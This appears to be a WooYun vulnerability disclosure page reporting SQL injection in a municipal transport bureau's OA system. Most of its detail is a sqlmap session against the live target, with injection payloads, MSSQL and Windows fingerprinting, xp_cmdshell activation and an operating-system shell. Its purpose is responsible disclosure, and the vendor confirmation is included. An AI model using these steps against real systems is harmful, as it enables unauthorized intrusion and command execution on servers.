当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0157694

漏洞标题:某市交通局OA系统SQL注入(DBA权限)

相关厂商:公安部一所

漏洞作者: 路人甲

提交时间:2015-12-03 22:15

修复时间:2016-01-21 17:20

公开时间:2016-01-21 17:20

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:已交由第三方合作机构(公安部一所)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-03: 细节已通知厂商并且等待厂商处理中
2015-12-07: 厂商已经确认,细节仅向厂商公开
2015-12-17: 细节向核心白帽子及相关领域专家公开
2015-12-27: 细节向普通白帽子公开
2016-01-06: 细节向实习白帽子公开
2016-01-21: 细节向公众公开

简要描述:

rt

详细说明:

2015-12-02 17:55:47屏幕截图.png


sudo xy@kali:~$ sudo sqlmap -u **.**.**.**:8080/ctop/portal/portal_infoid=1 --os-shell
sudo:/etc/sudoers.d/fruitywifi 属于用户 ID 1000,应为 0
[sudo] password for xy:
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150922}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 16:24:56
[16:24:57] [INFO] testing connection to the target URL
[16:24:58] [INFO] testing if the target URL is stable
[16:24:58] [INFO] target URL is stable
[16:24:58] [INFO] testing if GET parameter 'id' is dynamic
[16:24:58] [WARNING] GET parameter 'id' does not appear dynamic
[16:24:58] [WARNING] heuristic (basic) test shows that GET parameter 'id' might not be injectable
[16:24:58] [INFO] heuristic (XSS) test shows that GET parameter 'id' might be vulnerable to XSS attacks
[16:24:58] [INFO] testing for SQL injection on GET parameter 'id'
[16:24:58] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[16:24:59] [WARNING] reflective value(s) found and filtering out
[16:25:04] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace'
[16:25:05] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause'
[16:25:06] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[16:25:08] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'
[16:25:09] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[16:25:10] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace'
[16:25:11] [INFO] testing 'MySQL inline queries'
[16:25:11] [INFO] testing 'PostgreSQL inline queries'
[16:25:11] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[16:25:12] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)'
[16:25:12] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[16:25:14] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[16:25:25] [INFO] GET parameter 'id' seems to be 'Microsoft SQL Server/Sybase stacked queries (comment)' injectable
it looks like the back-end DBMS is '['Microsoft SQL Server', 'Sybase']'. Do you want to skip test payloads specific for other DBMSes? [Y/n]
for the remaining tests, do you want to include all tests for '['Microsoft SQL Server', 'Sybase']' extending provided level (1) and risk (1) values? [Y/n]
[16:25:28] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[16:25:28] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[16:25:33] [INFO] target URL appears to be UNION injectable with 7 columns
[16:25:34] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection point(s) with a total of 80 HTTP(s) requests:
---
Parameter: id (GET)
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: id=1;WAITFOR DELAY '0:0:5'--
Type: UNION query
Title: Generic UNION query (NULL) - 7 columns
Payload: id=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CHAR(113)+CHAR(112)+CHAR(112)+CHAR(98)+CHAR(113)+CHAR(82)+CHAR(87)+CHAR(76)+CHAR(103)+CHAR(98)+CHAR(118)+CHAR(75)+CHAR(77)+CHAR(106)+CHAR(85)+CHAR(113)+CHAR(106)+CHAR(112)+CHAR(98)+CHAR(113),NULL--
---
[16:25:46] [INFO] testing Microsoft SQL Server
[16:25:47] [INFO] confirming Microsoft SQL Server
[16:25:47] [INFO] the back-end DBMS is Microsoft SQL Server
web application technology: JSP
back-end DBMS: Microsoft SQL Server 2000
[16:25:48] [INFO] fingerprinting the back-end DBMS operating system version and service pack
[16:25:49] [INFO] the back-end DBMS operating system is Windows 2003 Service Pack 1
[16:25:50] [INFO] testing if current user is DBA
[16:25:51] [INFO] checking if xp_cmdshell extended procedure is available, please wait..
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n]
[16:26:02] [INFO] xp_cmdshell extended procedure is available
[16:26:03] [INFO] testing if xp_cmdshell extended procedure is usable
[16:26:04] [INFO] the SQL query used returns 1 entries
[16:26:04] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
[16:26:04] [WARNING] it is very important not to stress the network adapter during usage of time-based payloads to prevent potential errors
[16:26:16] [INFO] adjusting time delay to 4 seconds due to good response times
[16:27:00] [INFO] xp_cmdshell extended procedure is usable
[16:27:00] [INFO] going to use xp_cmdshell extended procedure for operating system command execution
[16:27:00] [INFO] calling Windows OS shell. To quit type 'x' or 'q' and press ENTER
os-shell> ipconfig /all

漏洞证明:

注入点:

2015-12-02 17:56:55屏幕截图.png


shell证明:运行ver命令:

2015-12-02 17:57:09屏幕截图.png


修复方案:

过滤或升级

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:7

确认时间:2015-12-07 17:12

厂商回复:

感谢提交!!
验证确认所描述的问题,已通知其修复。

最新状态:

暂无